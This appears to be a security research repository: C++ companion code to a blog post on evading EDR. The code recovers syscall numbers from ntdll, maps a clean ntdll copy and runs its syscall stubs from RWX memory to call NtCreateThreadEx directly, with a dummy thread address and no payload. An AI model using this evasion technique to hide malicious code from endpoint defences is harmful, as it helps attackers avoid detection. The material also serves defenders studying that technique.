├── Parallel.cpp └── README.md /Parallel.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | typedef void* PRTL_USER_PROCESS_PARAMETERS; 7 | typedef void* PPS_POST_PROCESS_INIT_ROUTINE; 8 | 9 | typedef struct _UNICODE_STRING { 10 | USHORT Length; 11 | USHORT MaximumLength; 12 | PWSTR Buffer; 13 | } UNICODE_STRING, *PUNICODE_STRING; 14 | 15 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 16 | { 17 | DWORD dwLength; 18 | DWORD dwInitialized; 19 | LPVOID lpSsHandle; 20 | LIST_ENTRY InLoadOrderModuleList; 21 | LIST_ENTRY InMemoryOrderModuleList; 22 | LIST_ENTRY InInitializationOrderModuleList; 23 | LPVOID lpEntryInProgress; 24 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 25 | 26 | typedef struct _PEB { 27 | BYTE Reserved1[2]; 28 | BYTE BeingDebugged; 29 | BYTE Reserved2[1]; 30 | PVOID Reserved3[2]; 31 | PPEB_LDR_DATA Ldr; 32 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 33 | PVOID Reserved4[3]; 34 | PVOID AtlThunkSListPtr; 35 | PVOID Reserved5; 36 | ULONG Reserved6; 37 | PVOID Reserved7; 38 | ULONG Reserved8; 39 | ULONG AtlThunkSListPtr32; 40 | PVOID Reserved9[45]; 41 | BYTE Reserved10[96]; 42 | PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; 43 | BYTE Reserved11[128]; 44 | PVOID Reserved12[1]; 45 | ULONG SessionId; 46 | } PEB, * PPEB; 47 | 48 | typedef struct /*_LDR_DATA_TABLE_ENTRY*/ 49 | { 50 | LIST_ENTRY InLoadOrderLinks; 51 | LIST_ENTRY InMemoryOrderModuleList; 52 | LIST_ENTRY InInitializationOrderModuleList; 53 | PVOID DllBase; 54 | PVOID EntryPoint; 55 | ULONG SizeOfImage; 56 | UNICODE_STRING FullDllName; 57 | UNICODE_STRING BaseDllName; 58 | ULONG Flags; 59 | SHORT LoadCount; 60 | SHORT TlsIndex; 61 | LIST_ENTRY HashTableEntry; 62 | ULONG TimeDateStamp; 63 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 64 | 65 | typedef struct _OBJECT_ATTRIBUTES 66 | { 67 | ULONG Length; 68 | HANDLE RootDirectory; 69 | PUNICODE_STRING ObjectName; 70 | ULONG Attributes; 71 | PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR 72 | PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE 73 | 74 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 75 | 76 | typedef struct _IO_STATUS_BLOCK 77 | { 78 | union 79 | { 80 | NTSTATUS Status; 81 | PVOID Pointer; 82 | }; 83 | ULONG_PTR Information; 84 | } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 85 | 86 | typedef NTSYSAPI NTSTATUS(NTAPI* FUNC_NTOPENFILE)( 87 | OUT PHANDLE FileHandle, 88 | IN ACCESS_MASK DesiredAccess, 89 | IN POBJECT_ATTRIBUTES ObjectAttributes, 90 | OUT PIO_STATUS_BLOCK IoStatusBlock, 91 | IN ULONG ShareAccess, 92 | IN ULONG OpenOptions 93 | ); 94 | 95 | typedef NTSTATUS(NTAPI* FUNC_NTCREATESECTION) 96 | (_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess, 97 | _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, 98 | _In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection, 99 | _In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle); 100 | 101 | typedef NTSTATUS(NTAPI* FUNC_NTMAPVIEWOFSECTION) 102 | (_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle, 103 | _Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize, 104 | _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, 105 | _In_ DWORD InheritDisposition, _In_ ULONG AllocationType, 106 | _In_ ULONG Win32Protect); 107 | 108 | typedef VOID(NTAPI* FUNC_RTLINITUNICODESTRING)( 109 | IN OUT PUNICODE_STRING DestinationString, 110 | IN PCWSTR SourceString 111 | ); 112 | 113 | #ifndef NT_SUCCESS 114 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 115 | #endif 116 | 117 | #ifndef InitializeObjectAttributes 118 | #define InitializeObjectAttributes( p, n, a, r, s ) { \ 119 | (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ 120 | (p)->RootDirectory = r; \ 121 | (p)->Attributes = a; \ 122 | (p)->ObjectName = n; \ 123 | (p)->SecurityDescriptor = s; \ 124 | (p)->SecurityQualityOfService = NULL; \ 125 | } 126 | #endif 127 | 128 | #define OBJ_CASE_INSENSITIVE 0x40 129 | #define STATUS_IMAGE_NOT_AT_BASE 0x40000003 130 | 131 | #define MAX_EXPORT_NAME_LENGTH 64 132 | #define MAX_SYSCALL_STUB_SIZE 64 133 | #define MAX_NUMBER_OF_SYSCALLS 1024 134 | 135 | /* 136 | 0:001> u ntdll!LdrpThunkSignature 137 | ntdll!LdrpThunkSignature: 138 | 00007ff9`2e1860d0 4c8bd1 mov r10,rcx 139 | 00007ff9`2e1860d3 b833000000 mov eax,33h 140 | 00007ff9`2e1860d8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 141 | 00007ff9`2e1860e0 4c8bd1 mov r10,rcx 142 | 00007ff9`2e1860e3 b84a000000 mov eax,4Ah 143 | 00007ff9`2e1860e8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 144 | 00007ff9`2e1860f0 4c8bd1 mov r10,rcx 145 | 00007ff9`2e1860f3 b83d000000 mov eax,3Dh 146 | 0:001> db ntdll!LdrpThunkSignature 147 | 00007ff9`2e1860d0 4c 8b d1 b8 33 00 00 00-f6 04 25 08 03 fe 7f 01 L...3.....%..... 148 | 00007ff9`2e1860e0 4c 8b d1 b8 4a 00 00 00-f6 04 25 08 03 fe 7f 01 L...J.....%..... 149 | 00007ff9`2e1860f0 4c 8b d1 b8 3d 00 00 00-f6 04 25 08 03 fe 7f 01 L...=.....%..... 150 | 00007ff9`2e186100 4c 8b d1 b8 37 00 00 00-f6 04 25 08 03 fe 7f 01 L...7.....%..... 151 | 00007ff9`2e186110 4c 8b d1 b8 28 00 00 00-f6 04 25 08 03 fe 7f 01 L...(.....%..... 152 | */ 153 | 154 | 155 | 156 | FUNC_NTOPENFILE NtOpenFile = NULL; 157 | FUNC_NTCREATESECTION NtCreateSection = NULL; 158 | FUNC_NTMAPVIEWOFSECTION NtMapViewOfSection = NULL; 159 | 160 | FUNC_RTLINITUNICODESTRING RtlInitUnicodeString = (FUNC_RTLINITUNICODESTRING)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString"); 161 | 162 | ULONG_PTR BuildSyscallStub(ULONG_PTR StubRegion, DWORD dwSyscallNo) 163 | { 164 | BYTE SyscallStub[] = 165 | { 166 | 0x4c, 0x8b, 0xd1, // mov r10,rcx 167 | 0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax,xxx 168 | 0x0f, 0x05, // syscall 169 | 0xc3 // ret 170 | }; 171 | 172 | memcpy((PBYTE)StubRegion, SyscallStub, sizeof(SyscallStub)); 173 | *(DWORD*)(StubRegion + 4) = dwSyscallNo; 174 | 175 | return StubRegion; 176 | } 177 | 178 | BOOL InitSyscallsFromLdrpThunkSignature() 179 | { 180 | PPEB Peb = (PPEB)__readgsqword(0x60); 181 | PPEB_LDR_DATA Ldr = Peb->Ldr; 182 | PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL; 183 | 184 | for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink; 185 | LdrEntry->DllBase != NULL; 186 | LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink) 187 | { 188 | if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0) 189 | { 190 | // got ntdll 191 | NtdllLdrEntry = LdrEntry; 192 | break; 193 | } 194 | } 195 | 196 | if (NtdllLdrEntry == NULL) 197 | { 198 | return FALSE; 199 | } 200 | 201 | PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew); 202 | PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader); 203 | 204 | ULONG_PTR DataSectionAddress = NULL; 205 | DWORD DataSectionSize; 206 | 207 | for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) 208 | { 209 | if (!strcmp((char*)SectionHeader[i].Name, ".data")) 210 | { 211 | DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress; 212 | DataSectionSize = SectionHeader[i].Misc.VirtualSize; 213 | break; 214 | } 215 | } 216 | 217 | DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0; 218 | 219 | if (!DataSectionAddress || DataSectionSize < 16 * 5) 220 | { 221 | return FALSE; 222 | } 223 | 224 | for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++) 225 | { 226 | if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c && 227 | *(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c && 228 | *(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c && 229 | *(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c && 230 | *(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c) 231 | { 232 | dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4); 233 | dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4); 234 | dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4); 235 | break; 236 | } 237 | } 238 | 239 | if (!dwSyscallNo_NtOpenFile) 240 | { 241 | return FALSE; 242 | } 243 | 244 | ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 245 | 246 | if (!SyscallRegion) 247 | { 248 | return FALSE; 249 | } 250 | 251 | NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile); 252 | NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection); 253 | NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2* MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection); 254 | 255 | return TRUE; 256 | } 257 | 258 | ULONG_PTR LoadNtdllIntoSection() 259 | { 260 | NTSTATUS ntStatus; 261 | HANDLE hFile = NULL; 262 | OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; 263 | UNICODE_STRING ObjectPath = { 0 }; 264 | IO_STATUS_BLOCK IoStatusBlock = { 0 }; 265 | HANDLE hSection = NULL; 266 | LARGE_INTEGER maxSize = { 0 }; 267 | LPVOID lpvSection = NULL; 268 | SIZE_T viewSize = 0; 269 | 270 | RtlInitUnicodeString(&ObjectPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); 271 | 272 | InitializeObjectAttributes( 273 | &ObjectAttributes, 274 | &ObjectPath, 275 | OBJ_CASE_INSENSITIVE, 276 | 0, 277 | NULL 278 | ); 279 | 280 | ntStatus = NtOpenFile( 281 | &hFile, 282 | FILE_READ_DATA, 283 | &ObjectAttributes, 284 | &IoStatusBlock, 285 | FILE_SHARE_READ, 286 | 0 287 | ); 288 | 289 | if (!NT_SUCCESS(ntStatus)) 290 | { 291 | goto Cleanup; 292 | } 293 | 294 | ntStatus = NtCreateSection( 295 | &hSection, 296 | SECTION_ALL_ACCESS, 297 | NULL, 298 | NULL, 299 | PAGE_READONLY, 300 | SEC_COMMIT, 301 | hFile 302 | ); 303 | 304 | if (!NT_SUCCESS(ntStatus)) 305 | { 306 | goto Cleanup; 307 | } 308 | 309 | ntStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), &lpvSection, NULL, NULL, NULL, &viewSize, 1, 0, PAGE_READONLY); 310 | 311 | if (!NT_SUCCESS(ntStatus)) 312 | { 313 | return NULL; 314 | } 315 | 316 | Cleanup: 317 | if (hSection) CloseHandle(hSection); 318 | if (hFile) CloseHandle(hFile); 319 | return (ULONG_PTR)lpvSection; 320 | } 321 | 322 | ULONG_PTR RVAToFileOffsetPointer(ULONG_PTR pModule, DWORD dwRVA) 323 | { 324 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)pModule; 325 | PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew); 326 | PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader); 327 | 328 | for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) 329 | { 330 | if (SectionHeader[i].VirtualAddress <= dwRVA && SectionHeader[i].VirtualAddress + SectionHeader[i].Misc.VirtualSize > dwRVA) 331 | { 332 | dwRVA -= SectionHeader[i].VirtualAddress; 333 | dwRVA += SectionHeader[i].PointerToRawData; 334 | 335 | return pModule + dwRVA; 336 | } 337 | } 338 | 339 | return NULL; 340 | } 341 | 342 | ULONG_PTR FindBytes(ULONG_PTR Source, DWORD SourceLength, ULONG_PTR Search, DWORD SearchLength) 343 | { 344 | while (SearchLength <= SourceLength) 345 | { 346 | if (!memcmp((PBYTE)Source, (PBYTE)Search, SearchLength)) 347 | { 348 | return Source; 349 | } 350 | 351 | Source++; 352 | SourceLength--; 353 | } 354 | 355 | return NULL; 356 | } 357 | 358 | UINT ExtractSyscalls(ULONG_PTR pNtdll, CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS]) 359 | { 360 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)pNtdll; 361 | PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(pNtdll + ((PIMAGE_DOS_HEADER)pNtdll)->e_lfanew); 362 | PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader); 363 | 364 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)ImageNtHeaders->OptionalHeader.DataDirectory; 365 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 366 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAToFileOffsetPointer(pNtdll, VirtualAddress); 367 | 368 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 369 | 370 | NumberOfNames = ExportDirectory->NumberOfNames; 371 | 372 | PDWORD Functions = (PDWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfFunctions); 373 | PDWORD Names = (PDWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfNames); 374 | PWORD Ordinals = (PWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfNameOrdinals); 375 | 376 | UINT uiCount = 0; 377 | 378 | ULONG_PTR pStubs = (ULONG_PTR)VirtualAlloc(NULL, MAX_NUMBER_OF_SYSCALLS * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 379 | 380 | if (!pStubs) 381 | { 382 | return 0; 383 | } 384 | 385 | for (DWORD i = 0; i < NumberOfNames && uiCount < MAX_NUMBER_OF_SYSCALLS; i++) 386 | { 387 | PCHAR FunctionName = (PCHAR)RVAToFileOffsetPointer(pNtdll, Names[i]); 388 | 389 | if (*(USHORT*)FunctionName == 'wZ') 390 | { 391 | ULONG_PTR FunctionPtr = RVAToFileOffsetPointer(pNtdll, Functions[Ordinals[i]]); 392 | ULONG_PTR FunctionEnd = FindBytes(FunctionPtr, MAX_SYSCALL_STUB_SIZE, (ULONG_PTR)"\x0f\x05\xc3", 3) + 3; 393 | 394 | if (FunctionEnd) 395 | { 396 | strcpy_s(rgszNames[uiCount], MAX_EXPORT_NAME_LENGTH, FunctionName); 397 | *(WORD*)(rgszNames[uiCount]) = 'tN'; 398 | 399 | memcpy((PBYTE)pStubs + (uiCount * MAX_SYSCALL_STUB_SIZE), (PBYTE)FunctionPtr, FunctionEnd - FunctionPtr); 400 | rgpStubs[uiCount] = pStubs + (uiCount * MAX_SYSCALL_STUB_SIZE); 401 | uiCount++; 402 | } 403 | } 404 | } 405 | 406 | return uiCount; 407 | } 408 | 409 | ULONG_PTR GetSyscall(CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS], UINT uiCount, PCHAR pzSyscallName) 410 | { 411 | for (UINT i = 0; i < uiCount; i++) 412 | { 413 | if (!strcmp(rgszNames[i], pzSyscallName)) 414 | { 415 | return rgpStubs[i]; 416 | } 417 | } 418 | 419 | return NULL; 420 | } 421 | 422 | typedef NTSTATUS(NTAPI* FUNC_NTCREATETHREADEX)( 423 | OUT PHANDLE hThread, 424 | IN ACCESS_MASK DesiredAccess, 425 | IN PVOID ObjectAttributes, 426 | IN HANDLE ProcessHandle, 427 | IN PVOID lpStartAddress, 428 | IN PVOID lpParameter, 429 | IN ULONG Flags, 430 | IN SIZE_T StackZeroBits, 431 | IN SIZE_T SizeOfStackCommit, 432 | IN SIZE_T SizeOfStackReserve, 433 | OUT PVOID lpBytesBuffer); 434 | 435 | int main(void) 436 | { 437 | InitSyscallsFromLdrpThunkSignature(); 438 | ULONG_PTR pNtdll = LoadNtdllIntoSection(); 439 | 440 | CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH] = { 0 }; 441 | ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS] = { 0 }; 442 | 443 | UINT uiCount = ExtractSyscalls(pNtdll, rgszNames, rgpStubs); 444 | 445 | FUNC_NTCREATETHREADEX NtCreateThreadEx = (FUNC_NTCREATETHREADEX)GetSyscall(rgszNames, rgpStubs, uiCount, (PCHAR)"NtCreateThreadEx"); 446 | 447 | NTSTATUS ntStatus; 448 | HANDLE hThread = NULL; 449 | 450 | ntStatus = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)0x41414141, NULL, 0, 0, 0, 0, NULL); 451 | 452 | if (!NT_SUCCESS(ntStatus)) 453 | { 454 | return FALSE; 455 | } 456 | 457 | Sleep(INFINITE); 458 | 459 | return 0; 460 | } 461 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ParallelSyscalls 2 | 3 | Companion code to the "EDR Parallel-asis through Analysis" found: 4 | 5 | https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/ 6 | --------------------------------------------------------------------------------